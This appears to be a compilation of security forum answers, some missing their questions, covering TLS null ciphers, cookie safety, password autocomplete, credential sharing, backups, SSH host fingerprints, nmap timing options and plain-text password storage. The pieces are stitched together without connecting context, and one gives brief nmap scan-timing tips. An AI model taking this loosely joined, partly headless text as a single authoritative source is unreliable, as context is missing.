Can TLS ever be not encrypted?

Glad that you asked! Yes, TLS does not require encryption! For instance, the ciphersuite TLS_RSA_WITH_NULL_SHA do not include any encryption at all. This means that the transported payload has no confidentiality whatsoever.

This was mainly used for when the payload was already encrypted, so encrypting it twice (once in the application layer, once on the transport layer), would not be a good idea. At least, that was the idea behind it.


You can put any text strings into a cookie, so in theory you could put some kind of code there. But for code to do any harm something needs to run it. The web browser does not interpret the content of cookies as code and does not try to run it, so cookies should not be dangerous. (If you have heard cookies being referenced in security related discussions, it is probably in relation to privacy and not viruses.)

In theory there could be a bug in the browser that makes it possible to craft a special cookie that somehow fools the browser to run it, e.g. by causing a buffer overflow. Such a bug is quite unlikely in a major browser, and if you could find one it would be considered a big deal.

So I would not worry about cookies infecting me with a virus. However it is possible to be infected by malware from just visiting a website. This is called "drive by downloads" and is nowadays a common method to spread viruses. The vector that is exploited for this is generally not cookies though, but plugins like Java or Flash.


Should web sites disable form autocomplete on all forms?

That kind of depends whether you're aiming for security, or to please an auditor.

If you enable autocomplete for the username and password, they'll stay recorded in the user's browser. That means the user won't need to remember it or store it in an easily-accessible place, which means you actually have a chance that they'll pick a strong password. (You have a better chance if you can impose the password.)

If you disable autocomplete, and the browser honors this setting, the user will have to type their password again every time. Therefore they will pick one that's easy to remember and type. If you manage to impose a strong password, they'll store it in an easily-accessible place for copy-paste. A password in a random text file that may be accidentally copied around, that may be pasted by mistake in a public place (URL bar, email, …), is a far worse risk than a password stored in the browser's password store.

You may find the argument that if the user is using a shared browser, they're leaving the credentials around for the next person using that browser. This argument is bogus: even if the browser honors autocomplete=off, they're leaving the password to any passing keylogger.

I think mobile browsers tend to ignore autocomplete=off, due to a combination of awkward keyboards, lack of availability of post-it notes while on the move, and an expectation of a smooth UX.

One specific case where you should turn off autocomplete as thoroughly as possible is a credit card CCV. Maybe even the card number while you're at it, but if you do that, store it server-side and don't let it be displayed in full (though this is not a panacea).

Do make sure however to turn off autocorrect for passwords. You don't want a password to be corrected to a word in the mobile device's dictionary, or to be added into the dictionary when the user rescinds the autocorrection.


How to pass credentials across applications securely?

If you want something centrally managed across an enterprise domain (i.e. federated identity), then you'll want to look into some sort of solution mentioned on this Wikipedia article. Identity management is complex, time consuming, and will take a lot of engineering and administrative resources - especially if your users have access to multiple information systems across your enterprise.

If your environment or user base is smaller, or you don't care about centrally managing credentials or a federated identity, you can look into a utility like LastPass for Applications


Use a backup solution which pulls from the primary system, not one where the primary system pushes to the backup system. The backup system should have read-permissions to the primary system while the primary system doesn't have any permissions at all on the backup system.

Also, the backup solution should not just have a single backup but be able to also restore a snapshot from days, weeks or months ago.

You can set up a home server which does backups like this, but there are also many plug-and-play hardware solutions available which work like this out-of-the-box.


How does a client authenticate an SFTP server if there are no keys shared in advance?

SFTP is the exact same security model as SSH, as it uses SSH as the underlying transport. With SSH, the first time you connect to a server, the client should present you with the sever's fingerprint. Which looks like this:

The authenticity of host 'myserver.com (123.45.67.89)' can't be established.
RSA key fingerprint is 12:34:56:78:9a:bc:de:f0:0f:ed:cb:a9:87:65:43:21.
Are you sure you want to continue connecting (yes/no)? no

For best security, users should compare this host key/fingerprint with the real server's fingerprint, which should be obtained through another secure, out of band channel. This is often a website where the server owner published their fingerprint or may also be through face to face meeting or a phone call or by another trusted user who had previously done the check. SSH itself doesn't specify how this out of band communication of the fingerprint should be done.

Often though, people simply trust whatever fingerprint they're presented with. When this happens, SSH clients usually remembers the fingerprint so future reconnection should connect automatically without asking the user to check the fingerprint again, and the client would usually give a big warning message if the server's fingerprint had changed. When used with this model, SSH's security model essentially is TOFU (trust-on-first-use).

Alternatively, SSH also supports using SSH certificates to authenticate servers. The way SSH certificates works is essentially the same as x509 certificate, but it uses a simpler, incompatible certificate format. When using an SSH certificate, you assign a trusted user to act as your certificate authority, which can sign certificates for the servers and/or users. With this method, users only need to install the single CA certificate instead of verifying every server host keys individually.


Your message should come from the -T option level set from 0 to  5. The option is the temporize between the in/out going of the IP packets. The 5 is last number and the quicker, and you put 2.

RTT is meaning the round trip  times  is also known as the ping time. You could use --min_rtt_timeout/max-rtt-timeout/initial-rtt-timeout <msec> option and many other found in the man page of nmap

Ignoring time in you case should mean the time is to long to be evaluate. 125 second is an eternity in network.


How should I respond to poor password security?

You don't list where you're from, so these answers assume you live in the US.

Credit-card processors are required to respect something called PCI-DSS (Payment Card Industry Data Security Standards).  It lays out how data is supposed to be handled and stored, and (some really big) penalties for failure.  Larger companies (like retail chains) get audited - smaller groups may get exemptions.  Key to the discussions here is that all credit card numbers (and some additional information), as well as passwords for (at minimum) system admins, are to be kept encrypted as much as possible (especially in storage).

However, the school could be handling your credit-card securely, while handling the rest of the security poorly.  Please consider:

Are you able to see your full credit-card number?  If so, I'd be alarmed, although the company may need some way to reverse the decryption for handling things like reversals.
Besides paying your child's tuition, what else can be done on this site?  It's unlikely that you are able to buy something on Ebay from there, so an insecure password may be a non-issue (just use a different password).

So, they may have security problems, or it could be deliberately relaxed to allow for a 'friendlier' system.  Given the system's behaviour, you do have a legitamete cause for asking them about it.  If their responses indicate inadequate/non-existant security, you should ask for an accounting, at minimum by having them take the website offline, and reporting them if necessary (keep in mind that this will increase tuition costs if fines are levied).

EDIT:

If the school is not directly handling the credit-card number, or indeed any of the related payment information, they are not liable for PCI violations (that I am aware of).  This is one of many reasons so many websites offload payments to services like Paypal - they are no longer liable (compliance is HARD).  I would argue that they do have an obligation to select a secure, reliable processor, but I don't know that I'd ever sue them for that - it's the payment company's responsibility to act appropriately (that's the service they are providing).

Storing end-user passwords in plain-text is disturbing, but this may still be a non-issue.  Send them an email/letter referencing this fact (especially the fact that they mailed you a letter with the plain-text password), and ask what's up.  Again, if your payment information is not (completely) visible to you, it may still be handled securely (if it's displayed, report them).  Otherwise, given the (probably extremely) restricted financial domain, there isn't likely much an attacker could do with the information - paying for their own tuition would be something of a dead giveaway, if it's even possible.

If you're still concerned, remove all of your own information, pay by check, and notify your school about your concerns.